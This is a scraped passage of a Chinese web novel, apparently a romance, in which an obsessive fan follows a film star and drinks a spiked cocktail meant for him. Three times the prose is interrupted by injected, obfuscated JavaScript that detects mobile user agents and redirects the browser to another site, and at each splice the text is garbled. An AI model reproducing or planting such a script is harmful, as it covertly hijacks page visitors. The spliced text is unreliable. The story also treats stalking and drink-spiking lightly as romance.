“木哀梨在最末尾那个休息室,要是路上有人例行询问,你就说是我助理,要是惹了事,你就认了你是私生。” 周新水:“行。” 摄影师留下一句“下次有项目记得想着我”就回了摄影棚。 休息室在楼道末尾,他穿过长廊,目不斜视,不敢多瞟,生怕路过的工作人员发现他面生。 他习惯带录音笔,平时用来记录工作,现在正好派上用场。 千载难逢能和木哀梨说上一句话的机会,录下来好好回味。 长廊末尾,一扇半掩的门上挂着木哀梨的名牌,周新水把录音笔收起来,抬手敲—— 门开了。 门后两个男人齐刷刷看向他。 一个年轻艺人被打得侧过头,抬手捂脸,两眼迸发出怨屈的光,恨不得把地面盯穿,低着头,面容青涩,白色卫衣下肩背也不够挺阔,虽然个子更高,却给人一种卑躬屈膝的感觉。 而他对面的男人收回手,轻飘飘甩了甩手,似乎是嫌弃碰到了脏东西。 木哀梨长身玉立,单穿一件白色西服外套,后背挖了个三角镂空,随着他摆手,肩胛骨震动,仿佛蝴蝶振翅欲飞。 周新水看着那只手,不住地心疼,手掌都红了,肯定扇得很痛。 忽地,木哀梨微微皱眉,似乎对突然闯入的外来者抱有不满。 轻轻一瞥,周新水心跳停止。 木哀梨不高兴了。 这时候把剧本递上去,按木哀梨的性子,恐怕会直接把剧本砸他脸上。 但他真不是故意闯进去看见不该看的画面,他正敲门,那门自己开了。 他无处伸冤。 时机实在不妙,他被两道目光注视,大脑一片空白,张嘴不知道说的是什么:“你好,买保险吗?脸和腿都可以。” 二人皆不愉地看向他手里的文件夹。 气氛凝滞下来,把他肺里的空气都抽干,周新水缓缓把文件夹揣回怀里,想要说对不起,低头看见木哀梨垂下的手,又不受控,“手也行。” 木哀梨扫了对面男人一眼,淡淡道:“你给脸上个吧,再来纠缠我还扇。” 说完他往外走,路过周新水时,短而轻地打量他一眼。 一丝若有若无的香气,淡淡的,像是温热的水裹住周新水,瞬间就抚平了他的紧张,眉目都舒展开来。 等木哀梨擦肩而过,周新水用力闻,那味道却已经消失不见,他面露遗憾。 “你有病吧!” 剩下那个男人见木哀梨离开,终于忍不住骂这个买保险的。 要不是这个人突然闯进来,他挨了木哀梨一巴掌,正好跪地抱着木哀梨腿卖惨装可怜,纠缠不休,情侣之间这些都无所谓,但多一个陌生人在现场,碍于面子,他只能让木哀梨走,这一巴掌算是白挨了。 周新水也低声喃喃:“我有病吧……” 太有病了。 怎么能脑子犯抽到这个地步。 艺人一怔,没想到卖保险的还挺有自知之明,一肚子火没地儿发,忿忿地在沙发上坐下,长腿一伸,有些颓废。 这艺人叫翟开诚,十八岁,刚进圈,长相英俊,是饭圈喜欢的奶狗款玉面小生,两个多月前被公司带去酒局,跟了木哀梨。 作为木哀梨大粉,这些信息周新水一清二楚,群里刚传开时他还闷闷不乐了一晚上。 而现在,因为失恋而颓靡不得意的变成了翟开诚。 周新水窃喜。 很坏,他暗想,行动却更恶劣。 直接在翟开诚对面坐下,探头问:“朋友,这是怎么了?” 翟开诚怪异地看他一眼。 “不管有什么矛盾,动手打人都是不好的习惯,看看你脸上的印子,想来力气不小,一点也没收着。你长得这么帅,打坏了多可惜,要给脸上个保险吗?” 翟开诚咬牙:“不用,谢谢。” “不买也没关系,你们这是怎么了?你跟我说说,我嘴严,绝对不往外传。” 翟开诚上下扫视他几眼,似乎有些犹豫,张了张口又闭上。 “这也真是的,打人不打脸,那人怎么能往脸上招呼?” 翟开诚半信半疑:“你不认识他?” 周新水薄唇微张:“啊?” “你们干推销的这么忙?” “是啊,整天上蹿下跳,还要受人白眼。”周新水在伪装销售这事上还真有些天赋,又问:“那你要来一……” “不买。” “不买也行,你跟我说说你们这是发生什么矛盾了。” 翟开诚看他两眼,相貌并不出挑,至少在娱乐圈这个大染缸里丢进去人都找不着,但还挺和善,看着没什么心眼。 他突然想起木哀梨,长相一等一的好,脾气却那么差。 翟开诚冷哼一声:“矛盾?哪有什么矛盾,我被甩了。” 嘴角不自觉上翘,被他强行压下。 “人之常情。” 翟开诚睨他。 周新水改口:“我的意思是,天底下被甩的人多的是,我们也只是其中两个而已。” “你也被甩了?” 周新水捂着胸口:“把我关在门外,不准我进门呢,你看我这黑眼圈。” 又要卖保险,又被关屋外,翟开诚可怜地看着他,“那你是挺不容易的。” 翟开诚安慰他:“肌肉练得不错啊。” “上学时候的老本,现在都没多少功夫练。” 显然翟开诚也就说说,并不多上心。 他本来就不是弯的,遇到木哀梨之前连暧昧对象都没有一个,一上来就谈到木哀梨这个极品。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123038|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我不比你好得到哪里去,跟他谈两个月,连家门都没让我进一次,每次都发消息到酒店,我是他点的鸭子吗?说要我我就得送上门,说不要我我就得彻底消失,哪有他这样薄情寡义的人?” 他家里也算中产,刚进圈,还一股子傲气,从来没受过这样的委屈。 听着确实像鸭子,周新水疑心情报有误,其实木哀梨不是在谈恋爱,是包养小情人? “分手就拿资源堵我的嘴,我是图他的资源吗?” 眼前闪过翟开诚挨了巴掌后那副愤恨又屈辱的神情,周新水默道这人睁眼瞎说。 嘴上说得好听,不图资源不图钱,也没见他拒绝。 两个月能谈出什么难舍难分的真情实感,无非是舍不得木哀梨的名气和资源,觉得还能多捞一点。 翟开诚愤懑不已:“像他这样每段恋情都只有几个月的人知道什么是爱情吗?他完全是在消磨别人的青春,也消磨自己的青春。” 周新水眉一皱,脱口而出:“乱七八糟说些什么,我女 ——木哀梨能有错?” 翟开诚被骂得一怔,“不是哥们?” “你有病吧!”他弹跳般站起来,居高临下。 周新水:“。” 本来看着情敌也是同好的份上,周新水对这个挨了巴掌的同担没多少敌意,但他竟然脱粉回踩木哀梨,周新水干脆也不找借口,放下手缓缓站起身。 他个子高,站起来比翟开诚还有气势。 “木哀梨长那么漂亮,跟你谈无异于扶贫,多少人做梦都想,你知足吧。” 翟开诚脸一白:“你骗我?” 周新水礼貌一笑,“木哀梨什么知名度,狗都认识。” 翟开诚胸膛剧烈起伏,甚至发出嗬嗬的声响,他指着周新水,半晌突然委屈地一哽咽:“我当然知道啊,不然我跟他谈什么!” 被个破卖保险的戏耍,翟开诚面子抹不开,扭头倨傲道:“你那保险,我买一份。” “哦,不卖。” “?”翟开诚霎时回头,似乎不敢相信一个为了生活奔波的销售居然这么硬气,盯着他怀中的蓝色文件夹两秒,突然明白过来,又被骗了。 他脸上乍青乍白,好不精彩,咬牙切齿:“你是木哀梨私生?” 周新水:“少污蔑我。” 翟开诚:“你是不是从别人那里打听到木哀梨行程的?” “是,但是吧……” “是不是冲着木哀梨来的?” “也是……” “最好能跟他说上两句话?” “那个……” 翟开诚露出一副你果然是私生我了如指掌的神情。 周新水:“……” “木先生找您。” 有人推门而入,挂着工牌,是杂志社的工作人员。 翟开诚面色大改,登时掩不住的喜悦,被木哀梨断崖式分手和被私生戏耍的怨气瞬间消散。 他相当注重仪容,理理帽子,又拍了拍另一边脸让两边看起来一样红润,最后昂首挺胸对周新水说:“你也看到了,他对我余情未了,知道回去该怎么说了吧。” 他公鸡似的迈开步子走到工作人员身边,“走吧。” 工作人员视线却落在周新水身上:“这位先生。” 5. 第 5 章 拉灯的房间昏暗朦胧,一束暖光从斜上方打下来。 身材健硕的男人精赤着上半身,健康的小麦色肌肤洇出蓬勃的荷尔蒙,手臂肌肉硕壮,胸肌更是饱满,黑色皮质身体链从肩膀下来勒住胸膛。 他面庞隐没在黑暗里,上半身笼罩着灯光下的羸弱青年。 青年身着一件白色西服,大V领露出胸膛肌肤白若梨花,五官精致,身躯单薄,在身后人衬托下,似乎一手就能控住。 他侧头,高挺的鼻梁与男人的喉结若即若离,在巨大体型差衬托下,掌控欲和隐隐的对峙感几乎溢出屏幕。 “很好,我们换个姿势,木先生转身过去,把后背露出来。” “对的,可以,这衣服设计简直完美。” 木哀梨转身过来的一瞬间,周新水脑子嗡的一下,像是触了电。 方才木哀梨背对着他,他只能看见木哀梨的头顶,柔软的黑发顺滑地落在两肩,似乎有种诱人的气息弥散在二人之间,已经让他心神荡漾。 而当木哀梨转过身来,打在他脖颈处、木哀梨脸上的灯光把木哀梨的面孔照耀得仿佛一颗璀璨宝石,巨大冲击力直抵灵魂。 黑暗给了周新水窥伺的机会。 木哀梨的睫毛好长,好直,好密,不是贴出来烫出来的,而是纯粹原生老天爷赏的。 这睫毛显现出几分单纯率真,中和了他风流多情的习性。 “效果很好,来,周哥把手放上去。” “手,手放上去。” 模特不听指挥,摄影师从相机后探出头,大喊:“手!放上去!” 手……? 周新水小心翼翼把手悬放在木哀梨后腰上。 “对,就这样,扶着,不,抓着,用力抓!”摄影师指挥。 周新水抿紧唇,心跳如擂鼓。 手抓上木哀梨后腰的一瞬间,周新水脑子里兀地生出一个疑问,这个弧线……他好像抓得太靠下了。 心跳得太响了,几乎是震耳欲聋,木哀梨肯定也听见了,所以才会戏谑地挑起桃花眼,鼻尖泄出一丝令人心里发痒的轻笑,猫爪似的勾着人。 被发现了。 周新水强撑不下去,低下头。 一低头就看见木哀梨V领下若隐若现的风光。 身体越来越热,皮肉似乎要熟透了。 越是滚烫,血液翻涌,肌肉越是鼓胀,他明显能感觉对胸肌上的身体链嵌入了他的肌肉。 偏偏这时候眼尖的摄影师还喊着:“不错,这个肌肉状态非常好!” 听见周围打光的,布景的,还有杂志社的主编都没忍住笑了。 大大方方的,周新水。 他闭上眼,咬紧牙,豁出去了。 “灯光师左边给面光,对,很好,来周哥把带子取下来,拽在手上,挡在木先生背后,凶一点。” 周新水像个木偶一样任这摄影棚里众人摆弄。 摄影师拍了几张,突然探出头来,吸了口气:“嘶,给他揉揉,留印了。” 周新水耳根腾地又红了。 木哀梨垂眸一扫:“嗯?” 他食指在周新水胸肌上按了按,沿着印记滑动,一道淡青色流星尾巴似的跟在他指尖后面。 周新水仿佛跌进了一团白云,整个人摇摇欲坠,只觉得幸福。 主编和摄影师要求很高,这场拍摄持续了一下午,直到天边出现淡红色的烟霞,才彻底收工。 助理收拾摄影棚里的道具,各干各的,主编检查照片,木哀梨回了休息室换衣服,周新水上衣脱在棚子边上,下来立马穿上,就是扣扣子的手有些不稳。 他一时拿不准是走还是留,干脆拿起手机发微博。 鲜榨棠梨:天底下最幸福的人出现了…… “你这助理身材真挺不错啊。” 是Gaze主编沈玉书的声音,他站在摄影师旁边,指着屏幕,“先前那个模特肌肉练得大是大,但一点美感都没有,哀梨说有个黑眼圈的熊猫哥身材可以,我还以为是社里哪位。” 沈玉书年纪和木哀梨相仿,从母亲手中继承了杂志社,长相不比模特差,热度一度超过Gaze本身。 他朝着周新水:“有没有兴趣当模特?就签在我们社。” 提到这茬,周新水才想起自己那被丢在一边无人问津的剧本,连忙道:“不了,我有工作。” “当助理能挣几个钱?” 木哀梨换好衣服出来,正巧听见,眉毛一挑:“不是卖保险的?” 摄影师:“……?” 马甲怎么一层套一层的,哥们。 周新水抿唇站着,很无辜似的,实际上脖子都要红透了。 他想说点什么,但现如今这情况的确算是他自找的,无可辩驳。 他看着木哀梨—— 木哀梨穿着一身灰,上身一件短款毛呢外套,不规则高领很显个性,下身的阔腿裤宽松慵懒,垂感很强,露出半截黑色尖头皮鞋。 腰间外束的白色宽腰带为柔软的灰增添了三分硬朗,简直是点睛之笔。 满脑子都是:好会穿,又秒了,下家洗洗睡吧。 摄影师:“兼职,兼职。” 沈玉书了然,微妙地给木哀梨递上一个眼神,又转头问:“要看看你拍的照片吗?你的身体表现力很强,不当模特可惜了。” 周新水回过神来。 相机里呈现的是他双手扯着身体带,木哀梨侧头半眯着眼的画面,再一滑,那双手扣着木哀梨的腰臀,像是要把人嵌进自己身体。 那双手骨节分明,青筋突起,宽大有力,在昏暗的灯光下极显暧昧。 不管是谁和木哀梨靠得这么近,周新水都觉得亵渎了木哀梨。 但事已至此,往好处想,除了他别人也拍不出这种效果。 他有一米九,木哀梨将将一米八出头,摄影师又让他在脚下踩了块砖,身高差迅速拉大,照片只拍到周新水的下巴,使得这些照片一丝瑕疵都找不出。 能为木哀梨的事业添砖加瓦,是他的荣幸。 别的粉丝能做到吗?他们也就在网上打打嘴仗了,真做事还得看他周新水。 “好看吗?” 沈玉书问。 周新水环视四周,意识到问的是自己,点头:“好看。” “哪里好看?” 不一样磁性而勾人的声音钻进周新水耳蜗,小刷子一样挠着他,大脑头皮都酥麻了。 周新水一瞬不瞬盯着木哀梨。 “嗯?”木哀梨轻轻一嗯。 “哪里,都好看。” 木哀梨走近一步,道:“脸好看吗?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123039|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周新水:“好看。” 木哀梨又近一步,“背好看吗?” 周新水抿唇,低低:“嗯。” 木哀梨虚着眼睛:“手呢?” 照片里露手的是周新水,周新水默了下,道:“也还行。” 木哀梨轻笑一声,突然贴近周新水,周新水心一跳,瞳孔骤然放大,往后一躲,却被木哀梨勾住衬衫。 “扣子系错了。” 一张足够漂亮的面孔放大数倍出现在你面前,你非但不会受到惊吓,还会痴痴地看着,仿佛被摄住心魄,目光流连忘返,湿漉漉的跟小狗舌头一样一寸寸舔过。 周新水屏息凝神,他能从木哀梨漆黑的眼睛里看见自己发痴的脸,也能感受到木哀梨的手指从扣子旁边钻进他衬衫里,刮着他的胸口,冰冷而润,玉一样的。 木哀梨又忽地抽手,转身走了两步,回头含笑:“你不会还等着我给你系吧?” 周新水严肃地摸着扣子排查是哪颗扣子害他丢脸。 他检查扣子时,沈玉书走到木哀梨身边,跟工作人员打声招呼,叫他们收拾好东西记得关灯锁门,随后便带着木哀梨下楼。 进了电梯,沈玉书问:“冲着你来的?” 木哀梨摆弄了下手机,随意道:“不像。” 沈玉书挑眉:“怎么说?” “他没起来。” “……行。”生理反应是最诚实的反应,这样看来确实是他看走眼了,但沈玉书还是纳闷:“他眼睛都看直了。” “是吗。” “没办法,咱大明星魅力太大。” 沈玉书捧场,本来以为木哀梨看上了,他寻思签下来好让木哀梨下手,但先是被拒绝,又听木哀梨没多大兴趣,也就没有撮合的心思,问:“天黑了,去喝一杯?” 木哀梨没拒绝:“妖精呢?” “接了个现代片的妆造,今天试妆,应该也快结束了,我叫他。” 沈玉书说着就点开了微信,丢过去一个酒吧定位。 等周新水扣好扣子,一抬头,木哀梨已经消失不见。 他顿感恍然若失,环视摄影棚一圈,才能稍有些真实感,而非黄粱一梦。 摄影师已经收好了东西,周新水抄起剧本跟上。 “照片发我一份,哥。” “你是哥,你是哥。”摄影师摆手,“p完才能给你,不然泄露了我要赔钱的,哥。” 也是,周新水没为难他:“理解,那你p完立马发我,行吗?” “没问题,木哀梨的图都用不着怎么p,调个色就行,很快的。” “那感情好。” 走出大楼,周新水跟摄影师道别,摄影师看了眼手机说主编给了两万辛苦费,他待会转给周新水,周新水满不在乎,刚坐上车,突然看见手上的剧本。 追悔莫及。 没悔多久。 一辆骚粉色车从地下车库上来,停在路边,沈玉书上了副驾驶,那车一转弯,开车的俨然是木哀梨。 纤长的手打着转盘,手腕上一只灵蛇手镯游动如龙。 周新水下意识跟着他们。 开到一半,周新水喃喃:“太变态了……” 然后继续尾随。 半个小时过去,两辆车停在了NightLight门口。 6. 第 6 章 木哀梨和沈玉书七点左右进去,八点半仍然没见出来。 车上放了本上半年的杂志,闲来无事,周新水又反反复复看了好几遍,专访内容倒背如流。 封面上木哀梨伏在礁石上,浑身是伤,深蓝色尾巴伤口累累,把周遭浑浊海水染成暗红。他抬起眼眸,望向杂志外的人,那眼中似恨似怨,更多的是无尽的痛楚和宏大而深沉的悲哀。 薄薄的纸张装不下木哀梨的沉郁和苍凉,车内寂静,似乎那种悲痛穿过千山万水来到他面前。 木哀梨的表现力强大得无与伦比,以至于周新水恍惚间有些分不清虚幻与现实,视线无意识向木哀梨身影消失的地方眺望。 NightLight的装修很低调,黑色的瓷砖铺满,一扇沉重的门隔绝了内外,门边立了个海报架,很小巧,周新水坐到副驾驶也看不清,最后拿手机拍照才知道是本周乐队的档期。 他不了解乐队,拍照查了一下,发现各个名气都不小。 木哀梨私下烟酒不忌,并不是什么秘密,只是从网上得知,从狗仔偷拍的照片看见,远不如亲眼所见更有真实感。 一个罹患先天心脏病的人,一个术后依旧体质孱弱的人,迈入了灯红酒绿之所。 担忧在所难免。 很多粉丝迷上木哀梨,在于他拖着一副病躯抽烟喝酒,散发出厌世自毁的美感。 周新水不敢苟同,只觉得这种想法太过病态。 如果一个人的美来自生命的流失,那不美也可以。 他手上带的是Apple Watch,显示时间正好八点半。 他想起木哀梨手上那只灵蛇镯,据说出自去年生日木哀梨小舅送的宝格丽灵蛇系列全套饰品,很衬木哀梨。 木哀梨家里人有钱,也正是如此,才早早发现了病症,及时做了闭合ASD手术,否则木哀梨很难活过成年。 想到木哀梨的身体,想到手上一句介绍都没有的剧本,周新水还是没忍住下车。 他自言自语: “这是私生行为吗?” “可我只是想推销个剧本,顶多判我骚扰吧。” 从NightLight狭小的正门进去,里面是一条窄道,不远处有前台,拦住他:“您好,有会员吗?” 周新水一怔:“……没有。” “夜灯仅限会员入内的,您有意向的话,我们验个资,达标就可以免费注册会员。” 难怪木哀梨口罩都不戴,进这地方还要验资。 窄道尽头不远处豁然开阔,人并不多,淡蓝色射灯下,舒缓情歌混着柔和的吉他声流出来。 马上就能见到木哀梨,却又被拦住,疑似只能打道回府,他心有不甘,没有立马回答。 前台浅笑着等候。 周新水试着问:“我找人,只进去几分钟也不行吗?” “抱歉。” “那多少算达标?” 前台:“先生您别紧张,我们要求不高,动产两百万即可。” 所幸没有买房,不然都过不了这一关。 前台核对完信息,递给他一张会员卡,“请进,周先生。” 木哀梨坐在靠内的卡座,并不显眼,但周新水跟开自瞄一样,一眼就看见了。 卡座里三个人,木哀梨翘着二郎腿,靠在皮质沙发上,轻合双目,似乎在听歌。 沈玉书坐在左手边的单人沙发上,摇着酒杯,和另一个从后面趴在皮沙发上的人讲话。 另外那个人一身镂空亮片装,又露腰又露肚脐,脸上画了个烟熏妆,远远看去,比周新水黑眼圈还重。 作为有些内部消息的粉丝,周新水对木哀梨的朋友也有所了解,除了Gaze主编沈玉书,还有那个外号为妖精的化妆师宁九,这人喜欢记录生活,经营了一个百万粉的抖音号。 周新水不喜欢宁九,觉得是他带坏了木哀梨,又是抽烟又是泡吧,甚至怀疑他那百万粉丝都是猎奇粉。 但还是关注了宁九的抖音号,因为宁九有时候会借木哀梨的手或者背影拍视频。 知道的人不多,出奇一致地各怀鬼胎,从不外传。 周新水在高台坐下,点了杯鸡尾酒,调酒师把酒杯推到他面前,他看都没看一眼,眼睛黏在木哀梨身上。 直到调酒师喊他:“先生,是酒不合口味吗?” 直勾勾的注视容易惹人起疑,周新水后知后觉,举杯抿了一口,说挺好喝的。 目光在舞池内游弋,随后慢慢迂回地绕到内侧卡座去。 突然,周新水目光一凝。 有个西装革履的男人端着酒杯,另一只手刚从酒杯上收回去,手里似乎攥着什么东西,那动作实在很难不让人怀疑。 周新水悄无声息注视着他。 他平日里热心,在人情淡漠的社会还敢扶摔倒的老奶老头,这时更不会坐视不理。 要是这人做什么坏事,拐小姑娘,他必然会插手,但又不能太过急切,免得冤枉了人。 他看着看着,那男人径直朝木哀梨所在的卡座走去。 周新水登时从高脚凳上下来,反手抓着吧台,青筋都绷起来了。 下一秒,那男人竟真的言笑晏晏地朝木哀梨递过酒杯。 真敢去。 周新水什么也不管了,当即大步越过人流,冷眼冷眉,周围顾客不明所以,还以为是捉奸,纷纷送来隐秘的目光。 他一掌按在男人肩上,用力之大,男人浑身一震,险些被按到地上。 “在聊什么?” 男人面色僵硬,看木哀梨,又看周新水,拿不准情况:“认识一下。” “怎么不跟我也认识认识?” 木哀梨侧倚在沙发上,左手支着头,长发垒在沙发扶手上,他漫不经心地看着这一出突如其来的闹剧。 男人见状,问:“你们认识?” “是呢。” 周新水假笑着说,心里底气其实没那么足。 若男人下手的对象是旁人,周新水肯定会冷静地等他露出狐狸尾巴,而不是像现在这样,冲动跑过来,手里全无证据。 甚至刚才所见也并不明晰,顶多算他猜测,贸然指责别人图谋不轨,结果事实并非如此的话,后果不堪设想。 他是急得昏了头。 但来都来了,总不能临时敲退堂鼓,他按着男人的肩膀,把人带到旁边沙发上坐下,搂着对方的肩,“我们下午还光着膀子在一屋,是吧?” 木哀梨浅笑,晃着酒杯,没有说话,宁九捂着嘴,勾着腰低头下来看木哀梨神情。 见木哀梨没有反驳,宁九咋舌:“这就是你说的工作。” 让人误会他们有不正当关系,周新水饱含歉意,朝木哀梨笑笑,左手在男人腰下裤子口袋旁边乱摸。 放哪去了。 男人忍无可忍:“你是bottom?” “听不懂,什么波特不波特的,我酒量还不错,喝一个?” 周新水顺手端起桌上不知道谁剩了个底的酒杯,要和男人碰杯,动作大方,毫不扭捏,富有格调的音乐酒吧被他搞得像路边大排档。 男人悄悄移开自己那杯紫色的酒,挡了挡:“请这位美人的特调,我喝就浪费了。” 怎么摸不到。 周新水面色越来越凝重。 那男人作势要起身,却被周新水一把按住,动弹不得。 他抽了抽嘴角:“撞号了。” “是吗?说明咱们是一类人,正好有话题。” 要是随随便便开口最后被打脸,他这辈子都不敢再见木哀梨,但若是放任这个可能下药的男人接触木哀梨——绝不可能。 如此,只有一个办法了,以德服人。 周新水牙齿整齐,还白,笑起来格外真诚,他勾着男人的脖子,一把将他摁在自己旁边。 “你这搭讪都不说话,太腼腆了,这事我有经验,我多说几句,你别嫌烦。别看我现在多外向,随便来个人都能聊两句,其实我以前非常内向,内向到什么地步,学校里的大哥把我拎到教室外面,路过的同学都没一个理我,更别提帮我叫老师了,可怜吧?” 男人面色铁青:“没看出来。” “是吧,我现在不一样了,跟我讲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123040|195988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话的我能接几句,不跟我讲话的,听我讲完才能走。” 他压着男人的脖子,二人好像亲兄弟一样交头接耳:“知道是为什么吗?” 男人唇发抖:“为什么?” 他松手,弓起右臂,拍了拍臂肌。 男人登时确信这个笑吟吟喊着兄弟就拉着他说话的人绝对看见了什么。 他个子算中等,不到一米八,身材也一般,扛不住这人两拳。 周新水好似没看见他变白的脸色,继续说:“后来我健身,也还算有点天赋,效果很显著。那之后我人也不内向了,无视我的也不敢假装没看见了。” 他笑眯了眼,男人一个寒战,噌地起身,他眼疾手快,把人拽住。 “没聊两句,这就要走,太不给我面子了,我都没说尽兴。你知道以前那些不听我说话的人是什么下场吗?” 他笑得大方,没什么威慑力的长相显得他宛如一个自来熟的朋友,单看表情,绝对猜不出说的话竟然这样像□□。 蓝色灯光转过来,将男人的脸照得满是惊惶。 “不想聊,就让他走。” 嗓音冷淡清冽,在朦胧音乐声中格外清楚。 木哀梨开口,周新水自然不会拒绝,他点了点面前的桌子,“既然酒是送人的,那就留下。” 男人看向木哀梨,以为这个人会更善解人意,更好糊弄,却见木哀梨垂下眼睛,长而密的睫毛遮住眼目,没有再插手的意思。 他咽了咽口水,只能把酒杯放下,等抓住他的人松手,转身就走,走了没两步,径直跑起来,撞了好几个人。 目送男人心虚地跑走,周新水浑身舒畅,颇有一种骑士打败了恶龙的自得感,然而一扭头,被三道视线齐齐注视,尤其是对面的木哀梨半侧着头,慵懒地拨了下绕在手间的长发,一瞬间,他胸口微凉,似乎木哀梨的手指钻进他衬衫里玉润的触感就在刚才。 “不好意思,冒昧打扰。” 下药的不是他,忐忑之情无处遁形的却是他,他指着酒杯,“那个人似乎给酒下药了。” 木哀梨轻挑眉梢:“猜到了。” 宁九往前一趴:“你气势汹汹跑过来,我还以为要寻仇,没想到还是个好心人。” 沈玉书闷笑。 周新水抿着唇,头自然垂下,想起那人跑了,又猛地抬头,正巧和木哀梨对视,冰澈的眼眸轻轻一撩,就让他心跳漏拍,“那那那那就这样让他走了?” 木哀梨:“警警警察在路上,小李已经去调监控了。” 被这样一调侃,周新水口干舌燥,“把他扣下,还能给警察省点时间。” 宁九瞪他:“夜灯合法经营,我们也是守法公民,可不干那违法的事情。” “噢。”周新水点头。 “那么,好人先生。” 好人先生…… 木哀梨换了条腿翘起,皮鞋尖擦着周新水的膝盖而过,款款道:“你跟着我们到这儿来,是想做什么?” 周新水千般万般祈求不要被发现,最后还是没能如愿。 他站起身来,“我不是私生。” “坐下,我没说你是私生。” 周新水顺从地坐下,仍唇焦舌敝。他坐得端正,目光却落在桌面,躲过木哀梨。 桌上酒杯荡着紫色酒液,泛起的涟漪把人魂魄吸进去,让人头晕目眩。 他喉咙干涩得厉害,中魇了似的端起酒杯灌了一大口,润喉。 酒是极佳的借口,做了什么冒犯的事情,都可以推到醉酒上。 他放下酒杯,“是这样的,其实我是耀星影业的制作总监,我们公司目前有一个电影项目,冲着拿奖去,我个人认为主角人设很适合木先生,所以给木先生的工作室和经纪人都递了本子,但是都被拒绝,迫于无奈,我只能……” 拉投资时,端正的坐姿和正视的目光往往能让投资商感到被重视,进而提高融资率,周新水一以贯之,试图借由坦诚泰然的神情让木哀梨回心转意。 却不知为何木哀梨含笑盯着他。 宁九问:“这位大哥,你觉不觉得……有点热?” 7. 第 7 章 胸口有些痒,仿佛有一只温软的蝴蝶在胸腔里扑朔翅膀,微风送来轻巧的磷粉,周新水忍不住想捂住胸膛,让心脏别跳了。 酒。 他把酒喝了。 周新水恍然明白过来。 这时,他胸口里的不再是蝴蝶,化成一匹脱缰的野马,迅猛奔腾,疯狂践踏,黄土扑面,踏踏马蹄声震耳欲聋,后背大汗淋漓,太阳穴跳得几乎痉挛。 眨眼间,木哀梨已经从沙发上起来,走到周新水身后,伸手摸着他的脖颈,从喉结到动脉。 “起来,送你去医院。” 起来。 起……怎么起,身体不受控制了。 周新水同手同脚地跟上。 他坐上骚粉色车的副驾驶,有些无措,跟犯错的小孩一样。 双腿并拢,鞋尖相抵,他低低啧了一声,掰开自己的膝盖,把脚摆成外八字。 别怂,别怂。 后视镜一比一还原了他的拘促,木哀梨弯唇:“蠢不蠢?” 刚才还喊别人好人先生。 木哀梨抽空瞥了他一眼,轻声:“嗯?” 周新水闷声:“蠢。” 木哀梨说的都对。 “刚才不是很会说,怎么不说了。” “其实我很内向……咳咳。” 周新水摸着喉咙,不知道是不是药的作用,那里痛得像是感冒发炎,他梗着脖子张嘴试图咽下肿胀的异样感,却越来越难熬,连呼吸都变得艰难。 木哀梨:“怎么了?” 居然不是春药,真没意思。 周新水声音沙哑:“嗓子眼,下,刀子了。” 好难听,周新水绝望地想,这下不是好人先生,是唐老鸭先生了。 木哀梨作为医院的常客,有专门负责他的医生,刚进医院,就有护士走过来。 周新水不方便讲话,木哀梨代为陈述,医生听完,给他安排了洗胃。 温开水滑过喉咙,灼烧感立马得到缓解,然而水一停,疼痛重新出现,洗胃持续了十来分钟,周新水感受着喉咙已经没什么反应才结束。 他从病房出来,只看到沈玉书和医生,下意识往旁边看。 沈玉书:“找人?” 周新水收回视线,问:“他……走了吗?” 声音还有些沙哑,像一抔沙子从指缝里漏出来。 沈玉书神色自若:“对啊。” 周新水低下头说:“哦。” 他踢了踢墙角,“你知道那个人为什么要下这种药吗?我还以为是那个呢。” “那要问宁九那边了。” 沈玉书说着给宁九打过去电话,开外放,问:“怎么样?” “果然是吉意远那个贱人!警察刚查出来有人往下药那个人卡里打了二百万,刚好过了夜灯的要求,让他混了进来,我看了打款的账户名,是吉意远的助理。” 沈玉书拧眉:“吉意远?” 吉意远,人称“小木哀梨”,不过是侧脸有三分像木哀梨,从出道那天起就捆绑木哀梨,狗皮膏药一样甩都甩不掉。 “我今天给他化妆,他一直让我把眼睛画得风情一点,鼻子挺拔一点,皮肤光滑一点,就差说把他画得跟哀梨一模一样了。” “不贴角色,贴哀梨!” “长得坑坑洼洼的,月球地面一样,要求还挺高。” “我这狗脾气,当面没说,私下骂了他两句整容脸,估计让他听见了。你们给我发消息的时候我正给他改妆呢,怕不是知道我要跟你们见面,才突然有这种歹毒的想法。” 沈玉书眼里满是嫌恶,温润的面庞稍显锐利:“哀梨明天有国外的视频采访,对方团队今天中午已经落地入住酒店,要是出了这个意外,哀梨是鸽了还是硬着头皮用那副公鸭嗓说话?” 蛇蝎心肠,周新水眉心紧锁,“所以那些黑稿是他发的。” 